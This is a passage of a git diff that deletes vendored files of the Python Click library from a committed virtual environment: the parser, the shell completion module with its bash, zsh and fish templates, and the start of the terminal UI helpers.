used - directly as the high level Click classes wrap it for you. - - It's not nearly as extensible as optparse or argparse as it does not - implement features that are implemented on a higher level (such as - types or defaults). - - :param ctx: optionally the :class:`~click.Context` where this parser - should go with. - - .. deprecated:: 8.2 - Will be removed in Click 9.0. - """ - - def __init__(self, ctx: Context | None = None) -> None: - #: The :class:`~click.Context` for this parser. This might be - #: `None` for some advanced use cases. - self.ctx = ctx - #: This controls how the parser deals with interspersed arguments. - #: If this is set to `False`, the parser will stop on the first - #: non-option. Click uses this to implement nested subcommands - #: safely. - self.allow_interspersed_args: bool = True - #: This tells the parser how to deal with unknown options. By - #: default it will error out (which is sensible), but there is a - #: second mode where it will ignore it and continue processing - #: after shifting all the unknown options into the resulting args. - self.ignore_unknown_options: bool = False - - if ctx is not None: - self.allow_interspersed_args = ctx.allow_interspersed_args - self.ignore_unknown_options = ctx.ignore_unknown_options - - self._short_opt: dict[str, _Option] = {} - self._long_opt: dict[str, _Option] = {} - self._opt_prefixes = {"-", "--"} - self._args: list[_Argument] = [] - - def add_option( - self, - obj: CoreOption, - opts: cabc.Sequence[str], - dest: str | None, - action: str | None = None, - nargs: int = 1, - const: t.Any | None = None, - ) -> None: - """Adds a new option named `dest` to the parser. The destination - is not inferred (unlike with optparse) and needs to be explicitly - provided. Action can be any of ``store``, ``store_const``, - ``append``, ``append_const`` or ``count``. - - The `obj` can be used to identify the option in the order list - that is returned from the parser. - """ - opts = [_normalize_opt(opt, self.ctx) for opt in opts] - option = _Option(obj, opts, dest, action=action, nargs=nargs, const=const) - self._opt_prefixes.update(option.prefixes) - for opt in option._short_opts: - self._short_opt[opt] = option - for opt in option._long_opts: - self._long_opt[opt] = option - - def add_argument(self, obj: CoreArgument, dest: str | None, nargs: int = 1) -> None: - """Adds a positional argument named `dest` to the parser. - - The `obj` can be used to identify the option in the order list - that is returned from the parser. - """ - self._args.append(_Argument(obj, dest=dest, nargs=nargs)) - - def parse_args( - self, args: list[str] - ) -> tuple[dict[str, t.Any], list[str], list[CoreParameter]]: - """Parses positional arguments and returns ``(values, args, order)`` - for the parsed options and arguments as well as the leftover - arguments if there are any. The order is a list of objects as they - appear on the command line. If arguments appear multiple times they - will be memorized multiple times as well. - """ - state = _ParsingState(args) - try: - self._process_args_for_options(state) - self._process_args_for_args(state) - except UsageError: - if self.ctx is None or not self.ctx.resilient_parsing: - raise - return state.opts, state.largs, state.order - - def _process_args_for_args(self, state: _ParsingState) -> None: - pargs, args = _unpack_args( - state.largs + state.rargs, [x.nargs for x in self._args] - ) - - for idx, arg in enumerate(self._args): - arg.process(pargs[idx], state) - - state.largs = args - state.rargs = [] - - def _process_args_for_options(self, state: _ParsingState) -> None: - while state.rargs: - arg = state.rargs.pop(0) - arglen = len(arg) - # Double dashes always handled explicitly regardless of what - # prefixes are valid. - if arg == "--": - return - elif arg[:1] in self._opt_prefixes and arglen > 1: - self._process_opts(arg, state) - elif self.allow_interspersed_args: - state.largs.append(arg) - else: - state.rargs.insert(0, arg) - return - - # Say this is the original argument list: - # [arg0, arg1, ..., arg(i-1), arg(i), arg(i+1), ..., arg(N-1)] - # ^ - # (we are about to process arg(i)). - # - # Then rargs is [arg(i), ..., arg(N-1)] and largs is a *subset* of - # [arg0, ..., arg(i-1)] (any options and their arguments will have - # been removed from largs). - # - # The while loop will usually consume 1 or more arguments per pass. - # If it consumes 1 (eg. arg is an option that takes no arguments), - # then after _process_arg() is done the situation is: - # - # largs = subset of [arg0, ..., arg(i)] - # rargs = [arg(i+1), ..., arg(N-1)] - # - # If allow_interspersed_args is false, largs will always be - # *empty* -- still a subset of [arg0, ..., arg(i-1)], but - # not a very interesting subset! - - def _match_long_opt( - self, opt: str, explicit_value: str | None, state: _ParsingState - ) -> None: - if opt not in self._long_opt: - from difflib import get_close_matches - - possibilities = get_close_matches(opt, self._long_opt) - raise NoSuchOption(opt, possibilities=possibilities, ctx=self.ctx) - - option = self._long_opt[opt] - if option.takes_value: - # At this point it's safe to modify rargs by injecting the - # explicit value, because no exception is raised in this - # branch. This means that the inserted value will be fully - # consumed. - if explicit_value is not None: - state.rargs.insert(0, explicit_value) - - value = self._get_value_from_state(opt, option, state) - - elif explicit_value is not None: - raise BadOptionUsage( - opt, _("Option {name!r} does not take a value.").format(name=opt) - ) - - else: - value = None - - option.process(value, state) - - def _match_short_opt(self, arg: str, state: _ParsingState) -> None: - stop = False - i = 1 - prefix = arg[0] - unknown_options = [] - - for ch in arg[1:]: - opt = _normalize_opt(f"{prefix}{ch}", self.ctx) - option = self._short_opt.get(opt) - i += 1 - - if not option: - if self.ignore_unknown_options: - unknown_options.append(ch) - continue - raise NoSuchOption(opt, ctx=self.ctx) - if option.takes_value: - # Any characters left in arg? Pretend they're the - # next arg, and stop consuming characters of arg. - if i < len(arg): - state.rargs.insert(0, arg[i:]) - stop = True - - value = self._get_value_from_state(opt, option, state) - - else: - value = None - - option.process(value, state) - - if stop: - break - - # If we got any unknown options we recombine the string of the - # remaining options and re-attach the prefix, then report that - # to the state as new larg. This way there is basic combinatorics - # that can be achieved while still ignoring unknown arguments. - if self.ignore_unknown_options and unknown_options: - state.largs.append(f"{prefix}{''.join(unknown_options)}") - - def _get_value_from_state( - self, option_name: str, option: _Option, state: _ParsingState - ) -> t.Any: - nargs = option.nargs - - if len(state.rargs) < nargs: - if option.obj._flag_needs_value: - # Option allows omitting the value. - value = _flag_needs_value - else: - raise BadOptionUsage( - option_name, - ngettext( - "Option {name!r} requires an argument.", - "Option {name!r} requires {nargs} arguments.", - nargs, - ).format(name=option_name, nargs=nargs), - ) - elif nargs == 1: - next_rarg = state.rargs[0] - - if ( - option.obj._flag_needs_value - and isinstance(next_rarg, str) - and next_rarg[:1] in self._opt_prefixes - and len(next_rarg) > 1 - ): - # The next arg looks like the start of an option, don't - # use it as the value if omitting the value is allowed. - value = _flag_needs_value - else: - value = state.rargs.pop(0) - else: - value = tuple(state.rargs[:nargs]) - del state.rargs[:nargs] - - return value - - def _process_opts(self, arg: str, state: _ParsingState) -> None: - explicit_value = None - # Long option handling happens in two parts. The first part is - # supporting explicitly attached values. In any case, we will try - # to long match the option first. - if "=" in arg: - long_opt, explicit_value = arg.split("=", 1) - else: - long_opt = arg - norm_long_opt = _normalize_opt(long_opt, self.ctx) - - # At this point we will match the (assumed) long option through - # the long option matching code. Note that this allows options - # like "-foo" to be matched as long options. - try: - self._match_long_opt(norm_long_opt, explicit_value, state) - except NoSuchOption: - # At this point the long option matching failed, and we need - # to try with short options. However there is a special rule - # which says, that if we have a two character options prefix - # (applies to "--foo" for instance), we do not dispatch to the - # short option code and will instead raise the no option - # error. - if arg[:2] not in self._opt_prefixes: - self._match_short_opt(arg, state) - return - - if not self.ignore_unknown_options: - raise - - state.largs.append(arg) - - -def __getattr__(name: str) -> object: - import warnings - - if name in { - "OptionParser", - "Argument", - "Option", - "split_opt", - "normalize_opt", - "ParsingState", - }: - warnings.warn( - f"'parser.{name}' is deprecated and will be removed in Click 9.0." - " The old parser is available in 'optparse'.", - DeprecationWarning, - stacklevel=2, - ) - return globals()[f"_{name}"] - - if name == "split_arg_string": - from .shell_completion import split_arg_string - - warnings.warn( - "Importing 'parser.split_arg_string' is deprecated, it will only be" - " available in 'shell_completion' in Click 9.0.", - DeprecationWarning, - stacklevel=2, - ) - return split_arg_string - - raise AttributeError(name) diff --git a/backend/venv/Lib/site-packages/click/py.typed b/backend/venv/Lib/site-packages/click/py.typed deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/click/shell_completion.py b/backend/venv/Lib/site-packages/click/shell_completion.py deleted file mode 100644 index 6c39d5eb..00000000 --- a/backend/venv/Lib/site-packages/click/shell_completion.py +++ /dev/null @@ -1,644 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import os -import re -import typing as t -from gettext import gettext as _ - -from .core import Argument -from .core import Command -from .core import Context -from .core import Group -from .core import Option -from .core import Parameter -from .core import ParameterSource -from .utils import echo - - -def shell_complete( - cli: Command, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - complete_var: str, - instruction: str, -) -> int: - """Perform shell completion for the given CLI program. - - :param cli: Command being called. - :param ctx_args: Extra arguments to pass to - ``cli.make_context``. - :param prog_name: Name of the executable in the shell. - :param complete_var: Name of the environment variable that holds - the completion instruction. - :param instruction: Value of ``complete_var`` with the completion - instruction and shell, in the form ``instruction_shell``. - :return: Status code to exit with. - """ - shell, _, instruction = instruction.partition("_") - comp_cls = get_completion_class(shell) - - if comp_cls is None: - return 1 - - comp = comp_cls(cli, ctx_args, prog_name, complete_var) - - if instruction == "source": - echo(comp.source()) - return 0 - - if instruction == "complete": - echo(comp.complete()) - return 0 - - return 1 - - -class CompletionItem: - """Represents a completion value and metadata about the value. The - default metadata is ``type`` to indicate special shell handling, - and ``help`` if a shell supports showing a help string next to the - value. - - Arbitrary parameters can be passed when creating the object, and - accessed using ``item.attr``. If an attribute wasn't passed, - accessing it returns ``None``. - - :param value: The completion suggestion. - :param type: Tells the shell script to provide special completion - support for the type. Click uses ``"dir"`` and ``"file"``. - :param help: String shown next to the value if supported. - :param kwargs: Arbitrary metadata. The built-in implementations - don't use this, but custom type completions paired with custom - shell support could use it. - """ - - __slots__ = ("value", "type", "help", "_info") - - def __init__( - self, - value: t.Any, - type: str = "plain", - help: str | None = None, - **kwargs: t.Any, - ) -> None: - self.value: t.Any = value - self.type: str = type - self.help: str | None = help - self._info = kwargs - - def __getattr__(self, name: str) -> t.Any: - return self._info.get(name) - - -# Only Bash >= 4.4 has the nosort option. -_SOURCE_BASH = """\ -%(complete_func)s() { - local IFS=$'\\n' - local response - - response=$(env COMP_WORDS="${COMP_WORDS[*]}" COMP_CWORD=$COMP_CWORD \ -%(complete_var)s=bash_complete $1) - - for completion in $response; do - IFS=',' read type value <<< "$completion" - - if [[ $type == 'dir' ]]; then - COMPREPLY=() - compopt -o dirnames - elif [[ $type == 'file' ]]; then - COMPREPLY=() - compopt -o default - elif [[ $type == 'plain' ]]; then - COMPREPLY+=($value) - fi - done - - return 0 -} - -%(complete_func)s_setup() { - complete -o nosort -F %(complete_func)s %(prog_name)s -} - -%(complete_func)s_setup; -""" - -_SOURCE_ZSH = """\ -#compdef %(prog_name)s - -%(complete_func)s() { - local -a completions - local -a completions_with_descriptions - local -a response - (( ! $+commands[%(prog_name)s] )) && return 1 - - response=("${(@f)$(env COMP_WORDS="${words[*]}" COMP_CWORD=$((CURRENT-1)) \ -%(complete_var)s=zsh_complete %(prog_name)s)}") - - for type key descr in ${response}; do - if [[ "$type" == "plain" ]]; then - if [[ "$descr" == "_" ]]; then - completions+=("$key") - else - completions_with_descriptions+=("$key":"$descr") - fi - elif [[ "$type" == "dir" ]]; then - _path_files -/ - elif [[ "$type" == "file" ]]; then - _path_files -f - fi - done - - if [ -n "$completions_with_descriptions" ]; then - _describe -V unsorted completions_with_descriptions -U - fi - - if [ -n "$completions" ]; then - compadd -U -V unsorted -a completions - fi -} - -if [[ $zsh_eval_context[-1] == loadautofunc ]]; then - # autoload from fpath, call function directly - %(complete_func)s "$@" -else - # eval/source/. command, register function for later - compdef %(complete_func)s %(prog_name)s -fi -""" - -_SOURCE_FISH = """\ -function %(complete_func)s; - set -l response (env %(complete_var)s=fish_complete COMP_WORDS=(commandline -cp) \ -COMP_CWORD=(commandline -t) %(prog_name)s); - - for completion in $response; - set -l metadata (string split "," $completion); - - if test $metadata[1] = "dir"; - __fish_complete_directories $metadata[2]; - else if test $metadata[1] = "file"; - __fish_complete_path $metadata[2]; - else if test $metadata[1] = "plain"; - echo $metadata[2]; - end; - end; -end; - -complete --no-files --command %(prog_name)s --arguments \ -"(%(complete_func)s)"; -""" - - -class ShellComplete: - """Base class for providing shell completion support. A subclass for - a given shell will override attributes and methods to implement the - completion instructions (``source`` and ``complete``). - - :param cli: Command being called. - :param prog_name: Name of the executable in the shell. - :param complete_var: Name of the environment variable that holds - the completion instruction. - - .. versionadded:: 8.0 - """ - - name: t.ClassVar[str] - """Name to register the shell as with :func:`add_completion_class`. - This is used in completion instructions (``{name}_source`` and - ``{name}_complete``). - """ - - source_template: t.ClassVar[str] - """Completion script template formatted by :meth:`source`. This must - be provided by subclasses. - """ - - def __init__( - self, - cli: Command, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - complete_var: str, - ) -> None: - self.cli = cli - self.ctx_args = ctx_args - self.prog_name = prog_name - self.complete_var = complete_var - - @property - def func_name(self) -> str: - """The name of the shell function defined by the completion - script. - """ - safe_name = re.sub(r"\W*", "", self.prog_name.replace("-", "_"), flags=re.ASCII) - return f"_{safe_name}_completion" - - def source_vars(self) -> dict[str, t.Any]: - """Vars for formatting :attr:`source_template`. - - By default this provides ``complete_func``, ``complete_var``, - and ``prog_name``. - """ - return { - "complete_func": self.func_name, - "complete_var": self.complete_var, - "prog_name": self.prog_name, - } - - def source(self) -> str: - """Produce the shell script that defines the completion - function. By default this ``%``-style formats - :attr:`source_template` with the dict returned by - :meth:`source_vars`. - """ - return self.source_template % self.source_vars() - - def get_completion_args(self) -> tuple[list[str], str]: - """Use the env vars defined by the shell script to return a - tuple of ``args, incomplete``. This must be implemented by - subclasses. - """ - raise NotImplementedError - - def get_completions(self, args: list[str], incomplete: str) -> list[CompletionItem]: - """Determine the context and last complete command or parameter - from the complete args. Call that object's ``shell_complete`` - method to get the completions for the incomplete value. - - :param args: List of complete args before the incomplete value. - :param incomplete: Value being completed. May be empty. - """ - ctx = _resolve_context(self.cli, self.ctx_args, self.prog_name, args) - obj, incomplete = _resolve_incomplete(ctx, args, incomplete) - return obj.shell_complete(ctx, incomplete) - - def format_completion(self, item: CompletionItem) -> str: - """Format a completion item into the form recognized by the - shell script. This must be implemented by subclasses. - - :param item: Completion item to format. - """ - raise NotImplementedError - - def complete(self) -> str: - """Produce the completion data to send back to the shell. - - By default this calls :meth:`get_completion_args`, gets the - completions, then calls :meth:`format_completion` for each - completion. - """ - args, incomplete = self.get_completion_args() - completions = self.get_completions(args, incomplete) - out = [self.format_completion(item) for item in completions] - return "\n".join(out) - - -class BashComplete(ShellComplete): - """Shell completion for Bash.""" - - name = "bash" - source_template = _SOURCE_BASH - - @staticmethod - def _check_version() -> None: - import shutil - import subprocess - - bash_exe = shutil.which("bash") - - if bash_exe is None: - match = None - else: - output = subprocess.run( - [bash_exe, "--norc", "-c", 'echo "${BASH_VERSION}"'], - stdout=subprocess.PIPE, - ) - match = re.search(r"^(\d+)\.(\d+)\.\d+", output.stdout.decode()) - - if match is not None: - major, minor = match.groups() - - if major < "4" or major == "4" and minor < "4": - echo( - _( - "Shell completion is not supported for Bash" - " versions older than 4.4." - ), - err=True, - ) - else: - echo( - _("Couldn't detect Bash version, shell completion is not supported."), - err=True, - ) - - def source(self) -> str: - self._check_version() - return super().source() - - def get_completion_args(self) -> tuple[list[str], str]: - cwords = split_arg_string(os.environ["COMP_WORDS"]) - cword = int(os.environ["COMP_CWORD"]) - args = cwords[1:cword] - - try: - incomplete = cwords[cword] - except IndexError: - incomplete = "" - - return args, incomplete - - def format_completion(self, item: CompletionItem) -> str: - return f"{item.type},{item.value}" - - -class ZshComplete(ShellComplete): - """Shell completion for Zsh.""" - - name = "zsh" - source_template = _SOURCE_ZSH - - def get_completion_args(self) -> tuple[list[str], str]: - cwords = split_arg_string(os.environ["COMP_WORDS"]) - cword = int(os.environ["COMP_CWORD"]) - args = cwords[1:cword] - - try: - incomplete = cwords[cword] - except IndexError: - incomplete = "" - - return args, incomplete - - def format_completion(self, item: CompletionItem) -> str: - return f"{item.type}\n{item.value}\n{item.help if item.help else '_'}" - - -class FishComplete(ShellComplete): - """Shell completion for Fish.""" - - name = "fish" - source_template = _SOURCE_FISH - - def get_completion_args(self) -> tuple[list[str], str]: - cwords = split_arg_string(os.environ["COMP_WORDS"]) - incomplete = os.environ["COMP_CWORD"] - args = cwords[1:] - - # Fish stores the partial word in both COMP_WORDS and - # COMP_CWORD, remove it from complete args. - if incomplete and args and args[-1] == incomplete: - args.pop() - - return args, incomplete - - def format_completion(self, item: CompletionItem) -> str: - if item.help: - return f"{item.type},{item.value}\t{item.help}" - - return f"{item.type},{item.value}" - - -ShellCompleteType = t.TypeVar("ShellCompleteType", bound="type[ShellComplete]") - - -_available_shells: dict[str, type[ShellComplete]] = { - "bash": BashComplete, - "fish": FishComplete, - "zsh": ZshComplete, -} - - -def add_completion_class( - cls: ShellCompleteType, name: str | None = None -) -> ShellCompleteType: - """Register a :class:`ShellComplete` subclass under the given name. - The name will be provided by the completion instruction environment - variable during completion. - - :param cls: The completion class that will handle completion for the - shell. - :param name: Name to register the class under. Defaults to the - class's ``name`` attribute. - """ - if name is None: - name = cls.name - - _available_shells[name] = cls - - return cls - - -def get_completion_class(shell: str) -> type[ShellComplete] | None: - """Look up a registered :class:`ShellComplete` subclass by the name - provided by the completion instruction environment variable. If the - name isn't registered, returns ``None``. - - :param shell: Name the class is registered under. - """ - return _available_shells.get(shell) - - -def split_arg_string(string: str) -> list[str]: - """Split an argument string as with :func:`shlex.split`, but don't - fail if the string is incomplete. Ignores a missing closing quote or - incomplete escape sequence and uses the partial token as-is. - - .. code-block:: python - - split_arg_string("example 'my file") - ["example", "my file"] - - split_arg_string("example my\\") - ["example", "my"] - - :param string: String to split. - - .. versionchanged:: 8.2 - Moved to ``shell_completion`` from ``parser``. - """ - import shlex - - lex = shlex.shlex(string, posix=True) - lex.whitespace_split = True - lex.commenters = "" - out = [] - - try: - for token in lex: - out.append(token) - except ValueError: - # Raised when end-of-string is reached in an invalid state. Use - # the partial token as-is. The quote or escape character is in - # lex.state, not lex.token. - out.append(lex.token) - - return out - - -def _is_incomplete_argument(ctx: Context, param: Parameter) -> bool: - """Determine if the given parameter is an argument that can still - accept values. - - :param ctx: Invocation context for the command represented by the - parsed complete args. - :param param: Argument object being checked. - """ - if not isinstance(param, Argument): - return False - - assert param.name is not None - # Will be None if expose_value is False. - value = ctx.params.get(param.name) - return ( - param.nargs == -1 - or ctx.get_parameter_source(param.name) is not ParameterSource.COMMANDLINE - or ( - param.nargs > 1 - and isinstance(value, (tuple, list)) - and len(value) < param.nargs - ) - ) - - -def _start_of_option(ctx: Context, value: str) -> bool: - """Check if the value looks like the start of an option.""" - if not value: - return False - - c = value[0] - return c in ctx._opt_prefixes - - -def _is_incomplete_option(ctx: Context, args: list[str], param: Parameter) -> bool: - """Determine if the given parameter is an option that needs a value. - - :param args: List of complete args before the incomplete value. - :param param: Option object being checked. - """ - if not isinstance(param, Option): - return False - - if param.is_flag or param.count: - return False - - last_option = None - - for index, arg in enumerate(reversed(args)): - if index + 1 > param.nargs: - break - - if _start_of_option(ctx, arg): - last_option = arg - - return last_option is not None and last_option in param.opts - - -def _resolve_context( - cli: Command, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - args: list[str], -) -> Context: - """Produce the context hierarchy starting with the command and - traversing the complete arguments. This only follows the commands, - it doesn't trigger input prompts or callbacks. - - :param cli: Command being called. - :param prog_name: Name of the executable in the shell. - :param args: List of complete args before the incomplete value. - """ - ctx_args["resilient_parsing"] = True - with cli.make_context(prog_name, args.copy(), **ctx_args) as ctx: - args = ctx._protected_args + ctx.args - - while args: - command = ctx.command - - if isinstance(command, Group): - if not command.chain: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - with cmd.make_context( - name, args, parent=ctx, resilient_parsing=True - ) as sub_ctx: - ctx = sub_ctx - args = ctx._protected_args + ctx.args - else: - sub_ctx = ctx - - while args: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - with cmd.make_context( - name, - args, - parent=ctx, - allow_extra_args=True, - allow_interspersed_args=False, - resilient_parsing=True, - ) as sub_sub_ctx: - sub_ctx = sub_sub_ctx - args = sub_ctx.args - - ctx = sub_ctx - args = [*sub_ctx._protected_args, *sub_ctx.args] - else: - break - - return ctx - - -def _resolve_incomplete( - ctx: Context, args: list[str], incomplete: str -) -> tuple[Command | Parameter, str]: - """Find the Click object that will handle the completion of the - incomplete value. Return the object and the incomplete value. - - :param ctx: Invocation context for the command represented by - the parsed complete args. - :param args: List of complete args before the incomplete value. - :param incomplete: Value being completed. May be empty. - """ - # Different shells treat an "=" between a long option name and - # value differently. Might keep the value joined, return the "=" - # as a separate item, or return the split name and value. Always - # split and discard the "=" to make completion easier. - if incomplete == "=": - incomplete = "" - elif "=" in incomplete and _start_of_option(ctx, incomplete): - name, _, incomplete = incomplete.partition("=") - args.append(name) - - # The "--" marker tells Click to stop treating values as options - # even if they start with the option character. If it hasn't been - # given and the incomplete arg looks like an option, the current - # command will provide option name completions. - if "--" not in args and _start_of_option(ctx, incomplete): - return ctx.command, incomplete - - params = ctx.command.get_params(ctx) - - # If the last complete arg is an option name with an incomplete - # value, the option will provide value completions. - for param in params: - if _is_incomplete_option(ctx, args, param): - return param, incomplete - - # It's not an option name or value. The first argument without a - # parsed value will provide value completions. - for param in params: - if _is_incomplete_argument(ctx, param): - return param, incomplete - - # There were no unparsed arguments, the command may be a group that - # will provide command name completions. - return ctx.command, incomplete diff --git a/backend/venv/Lib/site-packages/click/termui.py b/backend/venv/Lib/site-packages/click/termui.py deleted file mode 100644 index dcbb2221..00000000 --- a/backend/venv/Lib/site-packages/click/termui.py +++ /dev/null @@ -1,877 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import inspect -import io -import itertools -import sys -import typing as t -from contextlib import AbstractContextManager -from gettext import gettext as _ - -from ._compat import isatty -from ._compat import strip_ansi -from .exceptions import Abort -from .exceptions import UsageError -from .globals import resolve_color_default -from .types import Choice -from .types import convert_type -from .types import ParamType -from .utils import echo -from .utils import LazyFile - -if t.TYPE_CHECKING: - from ._termui_impl import ProgressBar - -V = t.TypeVar("V") - -# The prompt functions to use. The doc tools currently override these -# functions to customize how they work. -visible_prompt_func: t.Callable[[str], str] = input - -_ansi_colors = { - "black": 30, - "red": 31, - "green": 32, - "yellow": 33, - "blue": 34, - "magenta": 35, - "cyan": 36, - "white": 37, - "reset": 39, - "bright_black": 90, - "bright_red": 91, - "bright_green": 92, - "bright_yellow": 93, - "bright_blue": 94, - "bright_magenta": 95, - "bright_cyan": 96, - "bright_white": 97, -} -_ansi_reset_all = "\033[0m" - - -def hidden_prompt_func(prompt: str) -> str: - import getpass - - return getpass.getpass(prompt) - - -def _build_prompt( - text: str, - suffix: str, - show_default: bool = False, - default: t.Any | None = None, - show_choices: bool = True, - type: ParamType | None = None, -) -> str: - prompt = text - if type is not None and show_choices and isinstance(type, Choice): - prompt += f" ({', '.join(map(str, type.choices))})" - if default is not None and show_default: - prompt = f"{prompt} [{_format_default(default)}]" - return f"{prompt}{suffix}" - - -def _format_default(default: t.Any) -> t.Any: - if isinstance(default, (io.IOBase, LazyFile)) and hasattr(default, "name"): - return default.name - - return default - - -def prompt( - text: str, - default: t.Any | None = None, - hide_input: bool = False, - confirmation_prompt: bool | str = False, - type: ParamType | t.Any | None = None, - value_proc: t.Callable[[str], t.Any] | None = None, - prompt_suffix: str = ": ", - show_default: bool = True, - err: bool = False, - show_choices: bool = True, -) -> t.Any: - """Prompts a user for input. This is a convenience function that can - be used to prompt a user for input later. - - If the user aborts the input by sending an interrupt signal, this - function will catch it and raise a :exc:`Abort` exception. - - :param text: the text to show for the prompt. - :param default: the default value to use if no input happens. If this - is not given it will prompt until it's aborted. - :param hide_input: if this is set to true then the input value will - be hidden. - :param confirmation_prompt: Prompt a second time to confirm the - value. Can be set to a string instead of ``True`` to customize - the message. - :param type: the type to use to check the value against. - :param value_proc: if this parameter is provided it's a function that - is invoked instead of the type conversion to - convert a value. - :param prompt_suffix: a suffix that should be added to the prompt. - :param show_default: shows or hides the default value in the prompt. - :param err: if set to true the file defaults to ``stderr`` instead of - ``stdout``, the same as with echo. - :param show_choices: Show or hide choices if the passed type is a Choice. - For example if type is a Choice of either day or week, - show_choices is true and text is "Group by" then the - prompt will be "Group by (day, week): ". - - .. versionadded:: 8.0 - ``confirmation_prompt`` can be a custom string. - - .. versionadded:: 7.0 - Added the ``show_choices`` parameter. - - .. versionadded:: 6.0 - Added unicode support for cmd.exe on Windows. - - .. versionadded:: 4.0 - Added the `err` parameter. - - """ - - def prompt_func(text: str) -> str: - f = hidden_prompt_func if hide_input else visible_prompt_func - try: - # Write the prompt separately so that we get nice - # coloring through colorama on Windows - echo(text.rstrip(" "), nl=False, err=err) - # Echo a space to stdout to work around an issue where - # readline causes backspace to clear the whole line. - return f(" ") - except (KeyboardInterrupt, EOFError): - # getpass doesn't print a newline if the user aborts input with ^C. - # Allegedly this behavior is inherited from getpass(3). - # A doc bug has been filed at https://bugs.python.org/issue24711 - if hide_input: - echo(None, err=err) - raise Abort() from None - - if value_proc is None: - value_proc = convert_type(type, default) - - prompt = _build_prompt( - text, prompt_suffix, show_default, default, show_choices, type - ) - - if confirmation_prompt: - if confirmation_prompt is True: - confirmation_prompt = _("Repeat for confirmation") - - confirmation_prompt = _build_prompt(confirmation_prompt, prompt_suffix) - - while True: - while True: - value = prompt_func(prompt) - if value: - break - elif default is not None: - value = default - break - try: - result = value_proc(value) - except UsageError as e: - if hide_input: - echo(_("Error: The value you entered was invalid."), err=err) - else: - echo(_("Error: {e.message}").format(e=e), err=err) - continue - if not confirmation_prompt: - return result - while True: - value2 = prompt_func(confirmation_prompt) - is_empty = not value and not value2 - if value2 or is_empty: - break - if value == value2: - return result - echo(_("Error: The two entered values do not match."), err=err) - - -def confirm( - text: str, - default: bool | None = False, - abort: bool = False, - prompt_suffix: str = ": ", - show_default: bool = True, - err: bool = False, -) -> bool: - """Prompts for confirmation (yes/no question). - - If the user aborts the input by sending a interrupt signal this - function will catch it and raise a :exc:`Abort` exception. - - :param text: the question to ask. - :param default: The default value to use when no input is given. If - ``None``, repeat until input is given. - :param abort: if this is set to `True` a negative answer aborts the - exception by raising :exc:`Abort`. - :param prompt_suffix: a suffix that should be added to the prompt. - :param show_default: shows or hides the default value in the prompt. - :param err: if set to true the file defaults to ``stderr`` instead of - ``stdout``, the same as with echo. - - .. versionchanged:: 8.0 - Repeat until input is given if ``default`` is ``None``. - - .. versionadded:: 4.0 - Added the ``err`` parameter. - """ - prompt = _build_prompt( - text, - prompt_suffix, - show_default, - "y/n" if default is None else ("Y/n" if default else "y/N"), - ) - - while True: - try: - # Write the prompt separately so that we get nice - # coloring through colorama on Windows - echo(prompt.rstrip(" "), nl=False, err=err) - # Echo a space to stdout to work around an issue where - # readline causes backspace to clear the whole line. - value = visible_prompt_func(" ").lower().strip() - except (KeyboardInterrupt, EOFError): - raise Abort() from None - if value in ("y", "yes"): - rv = True - elif value in ("n", "no"): - rv = False - elif default is not None and value == "": - rv = default - else: - echo(_("Error: invalid input"), err=err) - continue - break - if abort and not rv: - raise Abort() - return rv - - -def echo_via_pager( - text_or_generator: cabc.Iterable[str] | t.Callable[[], cabc.Iterable[str]] | str, - color: bool | None = None, -) -> None: - """This function takes a text and shows it via an environment specific - pager on stdout. - - .. versionchanged:: 3.0 - Added the `color` flag. - - :param text_or_generator: the text to page, or alternatively, a - generator emitting the text to page. - :param color: controls if the pager supports ANSI colors or not. The - default is autodetection. - """ - color = resolve_color_default(color) - - if inspect.isgeneratorfunction(text_or_generator): - i = t.cast("t.Callable[[], cabc.Iterable[str]]", text_or_generator)() - elif isinstance(text_or_generator, str): - i = [text_or_generator] - else: - i = iter(t.cast("cabc.Iterable[str]", text_or_generator)) - - # convert every element of i to a text type if necessary - text_generator = (el if isinstance(el, str) else str(el) for el in i) - - from ._termui_impl import pager - - return pager(itertools.chain(text_generator, "\n"), color) - - -@t.overload -def progressbar( - *, - length: int, - label: str | None = None, - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - fill_char: str = "#", - empty_char: str = "-", - bar_template: str = "%(label)s [%(bar)s] %(info)s", - info_sep: str = " ", - width: int = 36, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, -) -> ProgressBar[int]: ... - - -@t.overload -def progressbar( - iterable: cabc.Iterable[V] | None = None, - length: int | None = None, - label: str | None = None, - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - item_show_func: t.Callable[[V | None], str | None] | None = None, - fill_char: str = "#", - empty_char: str = "-", - bar_template: str = "%(label)s [%(bar)s] %(info)s", - info_sep: str = " ", - width: int = 36, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, -) -> ProgressBar[V]: ... - - -def progressbar( - iterable: cabc.Iterable[V] | None = None, - length: int | None = None, - label: str | None = None, - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - item_show_func: t.Callable[[V | None], str | None] | None = None, - fill_char: str = "#", - empty_char: str = "-", - bar_template: str = "%(label)s [%(bar)s] %(info)s", - info_sep: str = " ", - width: int = 36, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, -) -> ProgressBar[V]: - """This function creates an iterable context manager that can be used - to iterate over something while showing a progress bar. It will - either iterate over the `iterable` or `length` items (that are counted - up). While iteration happens, this function will print a rendered - progress bar to the given `file` (defaults to stdout) and will attempt - to calculate remaining time and more. By default, this progress bar - will not be rendered if the file is not a terminal. - - The context manager creates the progress bar. When the context - manager is entered the progress bar is already created. With every - iteration over the progress bar, the iterable passed to the bar is - advanced and the bar is updated. When the context manager exits, - a newline is printed and the progress bar is finalized on screen. - - Note: The progress bar is currently designed for use cases where the - total progress can be expected to take at least several seconds. - Because of this, the ProgressBar class object won't display - progress that is considered too fast, and progress where the time - between steps is less than a second. - - No printing must happen or the progress bar will be unintentionally - destroyed. - - Example usage:: - - with progressbar(items) as bar: - for item in bar: - do_something_with(item) - - 